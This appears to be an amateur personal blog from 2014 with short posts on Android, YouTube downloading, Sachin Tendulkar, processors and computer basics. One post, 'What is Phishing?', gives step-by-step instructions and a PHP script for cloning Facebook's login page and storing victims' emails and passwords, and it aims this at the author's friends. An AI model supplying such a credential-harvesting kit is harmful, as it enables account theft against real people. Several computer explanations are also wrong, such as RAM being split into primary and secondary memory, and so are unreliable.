extra knowledge: 2014

Saturday, December 27, 2014

What is Android?

What is Android

Android is basically an mobile operating system and its used in smartphones and tablet computer.It is very popular nowadays because everyone needs a android phone now.

And inside this android there is a Google play store with over 1 million android apps for user its consist of several useful apps for providing best feature in android. Android is founded in Pa lo Alto,California in October 2003 by Andy Rubin,Rich Miner,Nick Sears,Chris White.It gives a special attractive looks to a phone.Android manages the apps stored in memory automatically,

When memory is low then the system will kill apps and now its latest Air Droid – version 3.0 – is even better.By using android apps we can easily transfer our data to our phone to computer without any cable required or with fast speed its happen because of a android software name (air-droid) so user can transfer or interchange their data but both have to use same WiFi network for exchanging data fast.Air Droid 3 is not available in the Google Play store but you can download it from airdrome .
so basically nowadays android plays a very crucial role to using smart phones and Transferring data and to provide a special apperance to a mobile.

Friday, December 26, 2014

what is Phishing?
Phishing is a method of getting username and password of someone by making fake webpages.In phishing a hacker creates a fake webpage like facebook,orkut etc and send them to their frind and tell him for login and after that his friends username and password is stored in tha database of user lets have an example of understanding phishing

step 1=go to facebok.com and by left click select the view page sorce option on that page.
step 2=Now copy that page source and save it into a notepad and rename it by facebook.html(name is depends on webpages).
step 3=now open that sorce in notepad and search "form method".
step 4=now change="http://login.facebook.com/login.php" to "pass.php" and change their method also from "post to "get"
step 5=now create a php script for storing username and password and save it as pass.php
Code for script

<?php /* Created on: 3/27/2007 */
$fp = fopen("FacebookPasswords.htm", "a");
fwrite($fp, "Email:$_POST[email]\tPassword:
$_POST[pass]");
echo "<HTML>
<head>
<title>Welcome to Facebook</title>
<FRAMESET cols=\"*\">
<FRAME SRC=\"http://www.google.com\"
</FRAMESET>";?>
step 6=now we create an account on www.110mb.com for upload files =facebook.html or pass.php
step 7=after uploading these files on that sites
our pfake page is ready http://h1.ripway.com/rafaybaloch/Facebook.htm
now
we can see username and password of a friend when he or she access their account .
their username and passwords will save in a .txt form .downlaod it and view the password.

Saturday, December 20, 2014

How to Download youtube videos without any software. you can easily do that after reading this

1=Go to Youtube.com and select the video that you want to downlaod.

2=After that click on that selected video.

3=And last go to the top part of that page and in the url part of the video just type ss before youtube and then

click

4=Now you have many file format to download this video so you can click any offthem.

5=Finally your downlaoding will be start.

Thursday, September 25, 2014

Computer

God of cricket

Sachin Ramesh Tendulkar was born on 24^th April 1973 at Bombay(Maharashtra).His nickname was Tendlya, God of cricket, Master Blaster and its height is 5ft 5 inch(165cm).and he is a right hand Batsman, right hand Bowling, Leg Break and so many. He play cricket for India as a Batsman. he play his Test Debut in 15th Nov 1989 and his first ODI was on 18^th December 1989 and he wear a shirt having no 10.He is one of the greatest batsman ever in the cricket history .He is the first batsman to score 200 runs against in ODI and he is also the first man on the planet to score one hundred international centuries and the first Indian to aggregate 50,000 runs or more in all forms of domestic and international cricket. and he start his career at the age of 16 years only and at that time his brother was supported him for playing cricket and to achieve their Aim and he plays cricket for India between 1989 to 2012. And in that period he face all his injury and problems while playing cricket at a very small age but due to his power and capability he achieve all his goals and true his dreams to become a great batsman ever in world history. And he is a simple man who lives his live as Ordinary people that’s why he is called as God of cricket.

Monday, September 15, 2014

The word processor is a main part of a Computer and its use for providing speed to the computer while someone is working on that particular computer. There are so many Processor available in the Market.

Its names are p4,dualcore , i3 , i5 etc. nowadays because now everyone wants a computer having good processor to work faster .The processor are performed task according to their speed.generally nowadays no one use p4 because this is slow and old .everyone now deal with I series because its fast and help us to complete our work in less time period and more efficiently.

Sunday, September 14, 2014

About Computer

Computer is a type of machine which reduces our work and help us to solve our problems. It is basically consist of CPU, Monitor and Its also have its small input and output devices just like keyboard, Speakers Etc. In CPU (Central Processing Unit) there are lots of device are there but out of them to main parts are Hard disk and RAM (Random access memory).The hard disk is mainly used for storage purpose in the computer . We store data in a computer according to the capacity of hard disk & another part is RAM which is basically of two types first one is Primary Memory and another is Secondary.
In Primary Memory we can save our data for a temporary period once we shut down our Computer so our data is lost its save till we are working on that particular data. And on the other hand. In secondary Memory we can save our data for a Permanent period and we don’t lost our data after shutting down our pc and its save till a user itself delete it. And there are also its Subparts ROM (Read only Memory, Prom (Programmable Read only Memory), E prom (Erasable Programmable Read only memory, EE prom (Electrically Erasable Programmable Memory).
In computer CPU is the brain because its do all its work carefully and Speedly. In CPU there are ALU, Control unit are play a major role. ALU stands for Arithmetic logical unit and its work is to solve out any type of arithmetic problems its fetch the problem and solve it in 0 or 1 form because its understand only this language. So all the calculation and logic based work is done by ALU. And control unit control the main function of a Computer means all the controlling action is take care by it.

Thursday, March 13, 2014

extra knowledge is type of blog which gives you information about various things used by the people for fullfill their requirement so our todays topic is about on the history of computer .

extra knowledge

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